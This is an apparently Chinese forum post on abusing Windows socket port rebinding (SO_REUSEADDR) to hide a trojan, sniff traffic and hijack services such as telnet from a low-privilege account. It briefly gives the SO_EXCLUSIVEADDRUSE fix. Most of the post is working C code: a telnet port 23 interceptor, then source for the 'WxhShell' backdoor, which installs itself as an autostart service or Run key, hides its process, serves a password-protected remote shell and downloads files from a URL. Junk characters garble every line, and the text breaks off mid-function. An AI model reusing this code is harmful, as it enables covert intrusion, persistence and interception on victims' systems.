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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :v;U7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); MuQ)F-GSUu  
m,!SD Cq  
  saddr.sin_family = AF_INET; eh `%E0b}  
%K-8DL8|(  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); h_S>Q  
i!e8-gVMP&  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); vr'cR2  
dzPewOre*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 z'& fEsjy  
megTp  
  这意味着什么?意味着可以进行如下的攻击: AH5;6Q  
htR.p7&Tn  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 p/VVb%  
u;-fG9xs  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) xlu4  
n+hL/aQ+  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \|HNFxT`  
.6azUD4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2~?E'  
%kV7 <:y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Yg3nT:K_Y&  
J;8 d-R5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 qJrKt=CE  
(BeJ,K7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 J:glJ'4E  
)3:0TFS}}k  
  #include oq+w2yR  
  #include /G'3!S  
  #include w,FPL&{  
  #include    &4S2fWx  
  DWORD WINAPI ClientThread(LPVOID lpParam);   L}Y.xi  
  int main() jJNCNH*0  
  { y"q>}5  
  WORD wVersionRequested; _7<{+Zzm  
  DWORD ret; jxkjPf?  
  WSADATA wsaData; s{yw1:  
  BOOL val; %}VH5s9\  
  SOCKADDR_IN saddr; 3S7"P$q  
  SOCKADDR_IN scaddr; z77>W}d  
  int err; }0Ns&6)xG  
  SOCKET s; aYb97}kI  
  SOCKET sc; DJ:'<"zH7  
  int caddsize; poxF`a6e+  
  HANDLE mt; G_S>{<[  
  DWORD tid;   G#7(6:=;,`  
  wVersionRequested = MAKEWORD( 2, 2 ); ud$-A  
  err = WSAStartup( wVersionRequested, &wsaData ); E6-*2U)k+  
  if ( err != 0 ) { M lR~`B}m  
  printf("error!WSAStartup failed!\n"); R~k`KuY@!  
  return -1; WXY'%G  
  } * /n8T]s  
  saddr.sin_family = AF_INET; _<F)G,=  
   4A!]kj 5T  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 jTcv&`fAz  
ZDW=>}~_y  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;x/eb g  
  saddr.sin_port = htons(23); <4q H0<  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V9BW@G@9  
  { z m$Sw0#(  
  printf("error!socket failed!\n"); Wq1 jTIQ  
  return -1; R/ZScOW[  
  } Pp tuXq%U  
  val = TRUE; P$#:$U @  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 6D`n^uoP  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) nOL"6%q  
  { mnsl$H_4S  
  printf("error!setsockopt failed!\n"); r_#dh  
  return -1; lFyDH{!  
  } w&aZ 97{  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8'8`xu$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 bHe' U>  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 nm,LKS7  
F^NK"<tW  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )_=2lu3%{  
  { aIV / c  
  ret=GetLastError(); =\WF +r]V  
  printf("error!bind failed!\n"); 2H)4}5H  
  return -1; -$Hu $Y}>  
  } 6p)AQTh>  
  listen(s,2); Z_\p8@3aH  
  while(1) ?1SsF>|  
  { WK>|IgK  
  caddsize = sizeof(scaddr); .+/d08]  
  //接受连接请求 {7OHEArv  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7#0buXBg  
  if(sc!=INVALID_SOCKET) x?+w8jSR  
  { #_wq#rF  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Go)$LC0Mi  
  if(mt==NULL) |h\7Q1,1~2  
  { S%i^`_=Q  
  printf("Thread Creat Failed!\n"); m0"K^p  
  break; <h7cQ  
  } VI&x1C  
  } o eU i  
  CloseHandle(mt); kt/,& oKI  
  } ,twx4r^  
  closesocket(s); F~mIV;BP  
  WSACleanup(); X g6ezlW  
  return 0; r!mRUw'u  
  }   50^ux:Uv+N  
  DWORD WINAPI ClientThread(LPVOID lpParam) Rm} ym9  
  { 2X?GEO]/4  
  SOCKET ss = (SOCKET)lpParam; M6)  G_-  
  SOCKET sc; 'dLw8&T+W  
  unsigned char buf[4096]; 4+RR`I8$Ge  
  SOCKADDR_IN saddr; 4I$Y(E}  
  long num; 'r?ULft1  
  DWORD val; a#YK1n[!  
  DWORD ret; >NRppPqL  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Xu]~vik  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [0 F~e  
  saddr.sin_family = AF_INET; _QPqF{iI  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); L8VOiK=,  
  saddr.sin_port = htons(23); k6(7G@@}  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2%W;#oi?  
  { m9 h '!X<  
  printf("error!socket failed!\n"); pM?;QG;jA  
  return -1; *NmY]  
  } 52w@.]  
  val = 100; >HP `B2Q H  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )U@9dV7u  
  { va6Fp2n<1*  
  ret = GetLastError(); :GXF=Df  
  return -1; ?[ xgt )  
  } _fHC+lwN  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G;Li!H  
  { x< A-Ws{^V  
  ret = GetLastError(); mci> MEb  
  return -1; =&}@GsXdo  
  } ig,.>'+l  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) hsC T:1i  
  { XUqorE  
  printf("error!socket connect failed!\n"); |N.2iN:  
  closesocket(sc); SH%NYjj  
  closesocket(ss); )4yP(6|lx  
  return -1; Pe`(9&iT.  
  } ,>;21\D  
  while(1) 8<=^Rkz  
  { hbw(o  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 6d-\+ t8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *_(X$qfoW  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 wZqYtJ  
  num = recv(ss,buf,4096,0);  YKyno?m  
  if(num>0) I652Fcj  
  send(sc,buf,num,0); ARKM[]  
  else if(num==0) @N=vmtLP  
  break; n6/Ous  
  num = recv(sc,buf,4096,0); \TQZZ_Z  
  if(num>0) mUYRioNj  
  send(ss,buf,num,0); U0x A~5B  
  else if(num==0) v=U<exM6%  
  break; US g"wJY  
  } a=z] tTs4  
  closesocket(ss); e;]tO-Nu  
  closesocket(sc); TZn 15-O  
  return 0 ; O0  'iq^g  
  } ^_2c\mw_I  
@!8aZB3odt  
rB>ge]$.  
========================================================== HIg2y  
eg0_ <  
下边附上一个代码,,WXhSHELL Fr9/TI  
0SQ!lr  
========================================================== 6Yu:v  
*1|7%*!8  
#include "stdafx.h" {,>G 1>Yv  
R9J!}az'  
#include <stdio.h> amBg<P`'_  
#include <string.h> odv2(\  
#include <windows.h> F/5&:e?( )  
#include <winsock2.h> _$~>O7  
#include <winsvc.h> ) .~ "  
#include <urlmon.h> c*bvZC^6  
<,i4Ua  
#pragma comment (lib, "Ws2_32.lib") I"Oq< _  
#pragma comment (lib, "urlmon.lib") {6i|"5_j  
c~ss^[qx|  
#define MAX_USER   100 // 最大客户端连接数 bo0U  
#define BUF_SOCK   200 // sock buffer X9x`i  
#define KEY_BUFF   255 // 输入 buffer |iM,bs  
c=! >m  
#define REBOOT     0   // 重启 }7 N6n Zj`  
#define SHUTDOWN   1   // 关机 rH@Rh}#yp  
01cBAu   
#define DEF_PORT   5000 // 监听端口 ?ZF):}r vZ  
VotC YJ  
#define REG_LEN     16   // 注册表键长度 RGW@@  
#define SVC_LEN     80   // NT服务名长度 *+M#D^qo  
 N' hT  
// 从dll定义API & 3#7>oQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \}Q=q$)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 09kR2(nsW/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); AuNUW0/ 7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (W1 $+X  
q*I*B1p[m  
// wxhshell配置信息 *`>BOl+ro  
struct WSCFG { : |'(T[~L  
  int ws_port;         // 监听端口 +nYFLe  
  char ws_passstr[REG_LEN]; // 口令 d |17G  
  int ws_autoins;       // 安装标记, 1=yes 0=no ( bwD:G9  
  char ws_regname[REG_LEN]; // 注册表键名 'a#lBzu\b  
  char ws_svcname[REG_LEN]; // 服务名 0 QTI;3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0|&@)`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ho &Q }<(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O8]e(i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rA~f68h|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3H2~?CaJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  -WC0W  
eL3 _Lz  
}; aOD h5  
{npm9w<;  
// default Wxhshell configuration [ZWAXl $  
struct WSCFG wscfg={DEF_PORT, !M^O\C)  
    "xuhuanlingzhe", 10S I&O  
    1, !"^Zr]Qt+\  
    "Wxhshell", b\P:a_vq  
    "Wxhshell", }gbLWx'iG  
            "WxhShell Service", 5kGniG?T#  
    "Wrsky Windows CmdShell Service", sN41Bz$q.  
    "Please Input Your Password: ", z; GQnAG@  
  1, bP18w0>,  
  "http://www.wrsky.com/wxhshell.exe", $1yy;IyR  
  "Wxhshell.exe" )vW'g3u_  
    }; ~[;r) g\  
.a4,Lr#q.  
// 消息定义模块 |ADf~-AY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dl4n -*h  
char *msg_ws_prompt="\n\r? for help\n\r#>";  ?eS;Yc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1K Vit{  
char *msg_ws_ext="\n\rExit."; VZ9 p "  
char *msg_ws_end="\n\rQuit."; ng}C$d . I  
char *msg_ws_boot="\n\rReboot..."; ,rMf;/[  
char *msg_ws_poff="\n\rShutdown..."; [qc1 V%g  
char *msg_ws_down="\n\rSave to "; ?fxM 1<8  
KqI:g*H'x7  
char *msg_ws_err="\n\rErr!"; /.]u%;%r[  
char *msg_ws_ok="\n\rOK!"; Q y qOtRk  
Pe<VPf9+  
char ExeFile[MAX_PATH]; P~a@{n*8  
int nUser = 0; #`iEbiSq  
HANDLE handles[MAX_USER]; ,L& yKS@  
int OsIsNt; QAkK5,`vV.  
78l);/E{v  
SERVICE_STATUS       serviceStatus; p9"dm{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; JSL&` `  
TiD#t+g  
// 函数声明 N<Sl88+U  
int Install(void); 9]eG |LFD  
int Uninstall(void); #)'Iqaq7  
int DownloadFile(char *sURL, SOCKET wsh); S~/2Bw!2  
int Boot(int flag); "rB B&l  
void HideProc(void); _r:Fmn_%-  
int GetOsVer(void); )+N{D=YM  
int Wxhshell(SOCKET wsl); $gr>Y2i  
void TalkWithClient(void *cs); SH)-(+72d  
int CmdShell(SOCKET sock); uWJJ\  
int StartFromService(void); J4+K)gWB  
int StartWxhshell(LPSTR lpCmdLine); d88A.Z3w  
]Thke 4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); eha|cAq  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ar<5UnT  
Z5t^D|  
// 数据结构和表定义 D$>!vD'  
SERVICE_TABLE_ENTRY DispatchTable[] = :i&]J$^;  
{  E0!d c  
{wscfg.ws_svcname, NTServiceMain}, ,zgz7  
{NULL, NULL} ,# 2~<  
}; '&cH,yc;b  
{py%-W  
// 自我安装 /ZyMD(_J  
int Install(void)  v@EErF  
{ q8P&rMwy  
  char svExeFile[MAX_PATH]; CHGa_  
  HKEY key; k9%o{Uzy  
  strcpy(svExeFile,ExeFile); 9)wYSz'  
 x+cL(R  
// 如果是win9x系统,修改注册表设为自启动 5n?P}kca)  
if(!OsIsNt) { f-18nF7{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,ayEZ#4.m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [gT}<W  
  RegCloseKey(key); u\Cf@}5(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q=pRe-{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vCP[7KhGj  
  RegCloseKey(key); G4'Ia$  
  return 0; S]fu M%  
    } ulxlh8=  
  } 'i%r  
} Ry >y  
else { B>nj{W<o  
l/={aF7+  
// 如果是NT以上系统,安装为系统服务 `,'/Sdr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X&WP.n)  
if (schSCManager!=0) lWYp  
{ <<!fA ><W  
  SC_HANDLE schService = CreateService hdDT'+  
  ( *b>RUESF  
  schSCManager, p{5m5x  
  wscfg.ws_svcname, & jqylX  
  wscfg.ws_svcdisp, bB?E(>N;  
  SERVICE_ALL_ACCESS, "r46Rfa  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k\[(;9sf.  
  SERVICE_AUTO_START, #_.J kY  
  SERVICE_ERROR_NORMAL, yMWh#[phH  
  svExeFile, k&ooV4#f6  
  NULL, y7hDMQ c'  
  NULL, %g@?.YxjT  
  NULL, b=r3WkB6  
  NULL, To(I<W|{  
  NULL ,jRAVt +{N  
  ); 94-BcN  
  if (schService!=0) *,JE[M  
  { SO6)FiPy!n  
  CloseServiceHandle(schService); AY5iTbL1  
  CloseServiceHandle(schSCManager); ;~<To9O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3`cA!ZVQ  
  strcat(svExeFile,wscfg.ws_svcname); *:yG)J 3F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0S4BV%7F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RKP, w %  
  RegCloseKey(key); y2I7Zd .  
  return 0; FL{?W(M  
    } @#4-4.6I<x  
  } v\,N"X(,  
  CloseServiceHandle(schSCManager); o*H U^  
} VVDN3  
} \I!mzo  
QP%_2m>yhl  
return 1; KzVi:Hm  
} ]$"eGHX  
~gpxK{  
// 自我卸载 !vnC-&G  
int Uninstall(void) (j'\h/  
{ ZwDL  
  HKEY key; ~Y x_ 3  
lndz  
if(!OsIsNt) { +b-ON@9]J`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /Q3>w-h  
  RegDeleteValue(key,wscfg.ws_regname); V#oz~GMB  
  RegCloseKey(key); B4b'0p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZK]qQrIwy  
  RegDeleteValue(key,wscfg.ws_regname); S=k!8]/d|  
  RegCloseKey(key); 59oTU  
  return 0; Jb"FY:/Qv+  
  } Em(_W5 ND{  
} fi HE`]0  
} M>i(p%  
else { R0=f`;  
sYS 8]JU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X_2N9$},  
if (schSCManager!=0) =c@hE'{  
{ =v<w29P(g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XN<!.RCw  
  if (schService!=0) iL;V5|(sb  
  { G^ GIHdo  
  if(DeleteService(schService)!=0) {  zjUQ]  
  CloseServiceHandle(schService); \>5sW8P]H`  
  CloseServiceHandle(schSCManager); H7'42J@  
  return 0; Ln# o:"E  
  } 1x_EAHZ>7  
  CloseServiceHandle(schService); aLg,-@  
  } +DRt2a #  
  CloseServiceHandle(schSCManager); - jZAvb  
} lW c[Q1  
} |X=p`iz1&  
9^!.!%6O$  
return 1; ]ePg6  
} \uTlwS  
^P9mJ:  
// 从指定url下载文件 dLYM )-H`>  
int DownloadFile(char *sURL, SOCKET wsh) \Hp!NbnF$  
{ 2-'_Nwkl*  
  HRESULT hr; "#E Z  
char seps[]= "/"; y7pBcyWTE=  
char *token; a>vxox) %  
char *file; >c0leT  
char myURL[MAX_PATH]; B5 /8LEWw  
char myFILE[MAX_PATH]; yr},pB  
r#WqXh_uk  
strcpy(myURL,sURL); >aJmRA-C}  
  token=strtok(myURL,seps); F2zo !a8  
  while(token!=NULL) |vd|; " `  
  { X}'rPz\Lu  
    file=token; (72%au  
  token=strtok(NULL,seps); Ly(iq  
  } oPs asa  
ulALGzPh  
GetCurrentDirectory(MAX_PATH,myFILE); aO$0[-A  
strcat(myFILE, "\\"); #^RIp>NN9  
strcat(myFILE, file); r4u ,I<ZbH  
  send(wsh,myFILE,strlen(myFILE),0); d1#lC*.Sg  
send(wsh,"...",3,0); 2XyyU}.$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Gd C=>\]  
  if(hr==S_OK) r2f%E:-0G  
return 0; kR1 12J9P  
else =,*/Ph&  
return 1; f]10^y5&  
<,O| fY%  
} Ew]&~:$Ki  
'\QJ{/JV  
// 系统电源模块 j 7);N  
int Boot(int flag) I[A<e]uK  
{ nEUH;z  
  HANDLE hToken; ,MHK|8!  
  TOKEN_PRIVILEGES tkp; 1WaQWZ:=  
dgQ<>+9]6  
  if(OsIsNt) { @RB^m(> 5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vZQraY nJ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R,.qQF\*  
    tkp.PrivilegeCount = 1; yuq o ^i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lw8t#_P  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }`Wo(E}O  
if(flag==REBOOT) { >G1]#'6;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <b~~X`Z  
  return 0; VSO(DCr"L  
} ,V!Wo4M  
else { F+5 5p8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) , MqoX-+  
  return 0; rLeQB p'  
} 43=)akJi  
  } YpZuAJm<2_  
  else { ~2[kCuu  
if(flag==REBOOT) { tHqa%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Jl\U~i  
  return 0; \1?'JdN  
} `+."X1  
else { ENA"T-p  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z1$ S(p=)L  
  return 0; Wf?[GO  
} wg k[_i  
} /^K-tz-R  
kxrYA|x  
return 1; Kl?C[  
} U$@}!X  
V~8]ag4  
// win9x进程隐藏模块 $? Z}hU  
void HideProc(void) m+dQBsz\  
{ a$iDn_{  
B)d 4]]4\\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _b)Ie`a.H  
  if ( hKernel != NULL ) 2.{zf r  
  { Bs '=YK$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tJ7tZ~Ak  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4j,6t|T  
    FreeLibrary(hKernel); vEE\{1  
  } \,m*CYs`  
# dUi['  
return; .f[z_% ar  
} h*hkl#  
K4RQ{fWpm  
// 获取操作系统版本 !u:;Ew  
int GetOsVer(void) $E8}||d  
{ re4z>O*  
  OSVERSIONINFO winfo; %ol1WG9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D2Q0p(#%  
  GetVersionEx(&winfo); 6\UIp#X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F U L'=Xo  
  return 1; EIpz-"S  
  else m.gv?  
  return 0; ~XXNzz ]?  
} t,A=B(W  
T`u ,!S  
// 客户端句柄模块 O"X7 DgbC  
int Wxhshell(SOCKET wsl) ]X X>h~0  
{ 6@:<62!;  
  SOCKET wsh; XKOPW/  
  struct sockaddr_in client;  e?o/H  
  DWORD myID; p9MJa[}V  
yYTOp^  
  while(nUser<MAX_USER) 1bDXv, nD  
{ s I0:<6W  
  int nSize=sizeof(client); bx-:aC)]2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |v#rSVx  
  if(wsh==INVALID_SOCKET) return 1; T;,,!  
`0+-:sXZ6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oykb8~u}}  
if(handles[nUser]==0) 4)XB3$<  
  closesocket(wsh); YKOj  
else 4~;M\h  
  nUser++; S`TQWWQo;  
  } V8pZr+AJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); alsD TQ'  
4`o<e)c3  
  return 0; \0e`sOS`L  
} {=U*!`D  
S C}@eA'  
// 关闭 socket M[u6+`  
void CloseIt(SOCKET wsh) ]$-<< N{}'  
{ =<K6gC27  
closesocket(wsh); 9pWSvalw9  
nUser--; *dC&*6Rx  
ExitThread(0); 6y^GMlsI  
} {lppv(U  
U+[ "b-c  
// 客户端请求句柄 *q[;-E(fZ#  
void TalkWithClient(void *cs) eq<!  
{ .Ep&O#  
E},zB*5TH  
  SOCKET wsh=(SOCKET)cs; ]9W7]$  
  char pwd[SVC_LEN]; I;G(Wj  
  char cmd[KEY_BUFF]; j^hLn >  
char chr[1]; 0fqycGSmU  
int i,j; xm=$D6O:  
& Yx12B\  
  while (nUser < MAX_USER) { z'"Y+EWN  
 5IF$M2j  
if(wscfg.ws_passstr) { =NNxe"Kd;U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #]gmM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *=T(ncR['  
  //ZeroMemory(pwd,KEY_BUFF); <:8Ew  
      i=0; RU>qj *e  
  while(i<SVC_LEN) { /fAAQ7  
qmvQd8|XR  
  // 设置超时 )me`Ud  
  fd_set FdRead; YPCitGBl  
  struct timeval TimeOut; jCIY(/  
  FD_ZERO(&FdRead); A<(DYd1H  
  FD_SET(wsh,&FdRead); f=S2O_Ee  
  TimeOut.tv_sec=8; <num!@2D  
  TimeOut.tv_usec=0; \F""G,AWq{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8yH)9#>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f"zmNG'  
P|C5k5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e,W,NnCICj  
  pwd=chr[0]; G!h75G20  
  if(chr[0]==0xd || chr[0]==0xa) { 2Vw2r@S/  
  pwd=0; {OOn7=  
  break; A(cR/$fn6  
  } 1xh7KBr,  
  i++; eg1F[~YL/  
    } .*.eY?,V  
5OX[)Li  
  // 如果是非法用户,关闭 socket I`i"*z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Bvh{|tP4  
} j['B9vG  
#3'M>SaoH  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PrA(==FX/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hhFO,  
g-]~+7LL  
while(1) { LIQ].VxIs  
 X>P|-n#  
  ZeroMemory(cmd,KEY_BUFF); ,|.}6\zl*{  
"^a"`?J  
      // 自动支持客户端 telnet标准   n\f]?B(  
  j=0; #N'9 w .  
  while(j<KEY_BUFF) { nj0]c`6rN@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ju .pQ=PSX  
  cmd[j]=chr[0]; a ~W  
  if(chr[0]==0xa || chr[0]==0xd) { G.v(2~QFd  
  cmd[j]=0; a/1;|1a.  
  break; HXztEEK6  
  } sf# px|~9  
  j++; GG +T-  
    } bovAFdHW  
n;Q8Gg2U  
  // 下载文件 cCNRv$IO\  
  if(strstr(cmd,"http://")) { !\9^|Ef?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); P=\{  
  if(DownloadFile(cmd,wsh)) kxJ[Bi#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); j0V/\Ep)T<  
  else  Pd(_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ={V@Y-5T  
  } Pnm$g; `P  
  else { <c:H u{D  
evYn}  
    switch(cmd[0]) { J%M [8  
  6)P.wW  
  // 帮助 C H 29kQ  
  case '?': { /> /e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wJCw6&D,/  
    break; 6N5(DD  
  } 1 <+aF,  
  // 安装 vv{+p(~**O  
  case 'i': { 4KnBb_w  
    if(Install()) zB~ <@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w D r/T3  
    else "42/P4:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |%mZ|,[  
    break; ?+.C@_QZQ  
    } }u=Oi@~  
  // 卸载 ^2+ Vt=*  
  case 'r': { D&D6!jz  
    if(Uninstall()) "QiR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PPIO<K 3`  
    else J ou*e%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tqCkqmyC  
    break; ' BS.:^  
    } (;%T]?<9#  
  // 显示 wxhshell 所在路径 &ah%^Z4um  
  case 'p': { oW 6Hufu+o  
    char svExeFile[MAX_PATH]; t"q'"FX  
    strcpy(svExeFile,"\n\r"); vc&+qI+I3  
      strcat(svExeFile,ExeFile); vZ"gCf3#?3  
        send(wsh,svExeFile,strlen(svExeFile),0); m m`#v g,  
    break; r9'[7b1l  
    } M(LIF^'U:m  
  // 重启 {7z]+h  
  case 'b': { Rqp#-04*W  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Br 7q.  
    if(Boot(REBOOT)) d(d<@cB9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /bB4ec8!  
    else { KvPCb%!ZP  
    closesocket(wsh); orH6R8P]  
    ExitThread(0); iae NY;T  
    } fs&$?mHL){  
    break; -P/DmSS8V  
    } kwc Cf2  
  // 关机 3mo4;F,h9  
  case 'd': { 'yq?xlIj  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nW7: ]  
    if(Boot(SHUTDOWN)) bS r"k  
